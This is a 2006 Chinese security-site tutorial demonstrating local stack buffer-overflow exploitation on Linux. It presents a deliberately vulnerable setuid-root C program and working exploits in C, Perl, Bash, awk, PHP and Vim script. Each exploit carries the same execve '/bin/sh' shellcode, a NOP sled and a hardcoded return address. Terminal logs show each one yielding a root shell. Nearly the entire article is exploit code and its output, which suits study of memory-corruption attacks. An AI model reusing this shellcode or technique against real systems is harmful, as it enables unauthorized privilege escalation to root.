中华网络安全联盟 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 进程知识 技术论坛
中华网络安全联盟 >> 安全技术 >> 攻击实例 >> 溢出利用程序和编程语言大杂烩
安全技术
安全资讯
病毒预警
漏洞发布
安全教学
工具介绍
漏洞利用
病毒防范
入侵检测
防火墙
安全防范
汉化破解
攻击实例
加密解密
  • winlogon.exe病毒的查

  • res.exe病毒的手工清除

  • 三招必杀技清除IE顽固

  • Linux的病毒起源、发展

  • 恶意代码十三大症状及

  • 公司屏蔽IM软件的一点

  • 灰鸽子2005的清理

  • 技术分析:“肉机”上

  • 溢出利用程序和编程语言大杂烩
    字体:

    中华网络安全联盟    作者:waterclo…    来源:绿盟科技    时间:2006-4-26

        溢出利用程序不仅仅是只能用c语言编写,其实几乎任何编程语言都能用来编写
    溢出利用程序,这里用Linux作为试验平台,以实例演示C、Perl、Shell、Awk
    语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
    自带的语言(商用Unix系统中C语言例外)。示例中基本都是把SHELLCODE放到
    环境变量中来实现精确定位的。


    <一>  有溢出漏洞的vul.c

    [cloud@test]$ id
    uid=505(cloud) gid=503(test) groups=503(test)
    [cloud@test]$ cat vul.c
    /* Demo
       Have a bof vul at argv[1].
       Write by watercloud @ xfocus.org
    */
    #include<stdio.h>
    int main(int argc,char  * argv[])
    {
            char buff[32];
            if(argc > 1)
            {
                    strcpy(buff,argv[1]);
            }
            printf("buff : %s\n",buff);
            return 0;
    }
    [cloud@test]$ gcc vul.c -o vul
    [cloud@test]$ ls -l vul
    -rwxr-xr-x    1 cloud    test      11627  2月 24 10:14 vul
    [cloud@test]$ sudo chown root vul
    [cloud@test]$ sudo chmod u+s vul
    [cloud@test]$ ls -lh vul
    -rwsr-xr-x    1 root     test        11K  2月 24 10:14 vul



    <二> C语言版本利用程序ex.c

    [cloud@test]$ cat ex.c
    /* Demo for exploit bof of "./vul"
       Write by watercloud @ xfocus.org
    */
    #include <stdio.h>
    #define TARGET "./vul"
    #define ADDR 0xbffff3e8
    char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
              "j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
    int main(int argc,char * argv[])
    {
            char env_buff[4000];
            char cmd_buff[1024];
            int i,ret;
            unsigned int *pi;
            char * pc;

            for(i=0;i<3096;env_buff[i++]=0x90){ };
            env_buff[i]='\0';
            strcat(env_buff,SH);
            setenv("KK",env_buff,1);
            strcpy(cmd_buff,TARGET);
            pc=&cmd_buff[strlen(TARGET)];
            *pc++=' ';
            for(ret=1,i=0;i<4 && ret;i++)
            {
                    int j;
                    *pc++='A';
                    pi=(unsigned int *)pc;
                    for(j=0;j<20;*pi++=ADDR,j++){};
                    *pi=0;
                    ret=system(cmd_buff);
            }
            return ret;

    }
    [cloud@test]$ gcc ex.c -o ex
    [cloud@test]$ ./ex
    buff : A梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
    梵&#65533;胯??
    buff : AA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
    胯?胯??
    buff : AAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
    &#65533;胯?胯??
    buff : AAAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
    ?胯?胯??
    sh-2.05b# id
    uid=0(root) gid=503(test) groups=503(test)
    sh-2.05b# exit
    exit



    <三> perl语言版本利用程序ex.pl

    [cloud@test]$ cat ex.pl

    #!/usr/bin/perl
    # Demo for exploit bof of "./vul"
    # Write by watercloud @ xfocus.org

    #$ENV_LEN=`env |wc -c`
    $SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
    $ENV{KK}= "\x90"x 3096 . $SHELL;
    for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
      $ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20;  #ADDR:0xbffff3e8
    }
    #EOF
    [cloud@test]$ perl ex.pl
    buff : AA&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
    ?胯?胯?
    sh-2.05b# id
    uid=0(root) gid=503(test) groups=503(test)
    sh-2.05b# exit
    exit



    <四> Shell语言版本利用程序ex.sh

    [cloud@test]$ cat ex.sh
    #/bin/bash
    # Demo for exploit bof of "./vul"
    # Write by watercloud @ xfocus.org

    #ENV_LEN=`env |wc -c|tr -d ' '`
    SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
    AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
    for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
    export AGSHELL=$AG`echo -e $SH`

    for((i=0;i<4;i++)) ;do
      AA=$AA"A"
      if  ./vul $AA`echo -e $AD`
      then break
      fi
    done
    #EOF
    [cloud@test]$ chmod a+x ex.sh
    [cloud@test]$ ./ex.sh
    buff : A&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
    &#65533;胯?胯?
    ./ex.sh: line 16:  5287 段错误                  ./vul $AA`echo -e $AD`
    buff : AA&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
    ?胯?胯?
    sh-2.05b# id
    uid=0(root) gid=503(test) groups=503(test)
    sh-2.05b# exit
    exit



    <五> awk语言版本利用程序ex.awk

    [cloud@test]$ cat ex.awk
    # Demo for exploit bof of "./vul"
    # Write by watercloud @ xfocus.org

    BEGIN{
            SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
            AG="AA";
            for ( i=0;i<10;i++)
            {
                    AG=AG""AG;
            }
            AG=AG""AG""AG #3096
            for(i=0;i<20;i++)
            {
                    AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
            }

            AA="AA"
            for(i=0;i<4;i++)
            {
              AA=AA"A"
              system("./vul "AA""AD" "AG""SH)
            }
    }
    #EOF
    [cloud@test]$ gawk -f ex.awk /dev/null
    buff : AAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
    buff : AAAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
    sh-2.05b# id
    uid=0(root) gid=503(test) groups=503(test)
    sh-2.05b#


    <六> PHP版本

    [cloud@MagicLinux tmp]$ id
    uid=502(cloud) gid=502(cloud) groups=502(cloud)
    [cloud@MagicLinux tmp]$ ls -l vul
    -rwsr-xr-x  1 root root 4895  2月 26 20:57 vul
    [cloud@MagicLinux tmp]$ cat ex.php
    <?php
    $SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
    $AG="AA";
    for( $i=0;$i<10;$i++){
            $AG.=$AG;
    }
    $AG.=$AG.$AG; #3096

    for($i=0;$i<20;$i++) {
            $AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
    }
    for($i=0;$i<4;$i++) {
      $AA.="A";
      print system("./vul ".$AA.$AD.$AG.$SH);
    }
    ?>
    [cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
    id >&2
    uid=0(root) gid=502(cloud) groups=502(cloud)
    exit
    [cloud@MagicLinux tmp]$

    <七> Vim扩展脚本版本
    连vim编辑器的扩展编程脚本也可以拿来写溢出的说:


    [cloud@MagicLinux tmp]$ id
    uid=502(cloud) gid=502(cloud) groups=502(cloud)
    [cloud@MagicLinux tmp]$ cat ex.vim
    let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"
    let AG="AA"
    let i=0
    while(i<10)
            let AG=AG.AG
            let i=i+1
    endwhile
    let AG=AG.AG.AG
    "len of AG is 3096

    let AD=""
    let i=0
    while(i<20)
            let AD=AD."\xff\xbf\xe8\xf3"
    "ADDR:0xbffff3e8
            let i=i+1
    endwhile

    let AA=""
    let i=0
    while(i<4)
      let AA=AA."A"
      execute "!./vul ". AA . AD . AG . SH
      let i=i+1
    endwhile
    [cloud@MagicLinux tmp]$ ls -l vul
    -rwsr-xr-x  1 root root 4895  2月 26 20:57 vul
    [cloud@MagicLinux tmp]$ vim -eS ex.vim
    Xlib: connection to ":0.0" refused by server
    Xlib: No protocol specified


    buff : A&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯驛AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ……………………………………………………………………
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1繮PP[YZ4型&#65533;j
                                                                       X橰hn/shh//biT[RSTY蛝
    sh-2.05b# id
    uid=0(root) gid=502(cloud) groups=502(cloud)
    sh-2.05b#


    <八> ……




    <九> 小语

       溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等
    了解这些知识后溢出利用本生和编程语言是没有关系的。
    字体:
     
    设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
    Copyright©2006-2008 中华网络安全联盟 All rights reserved.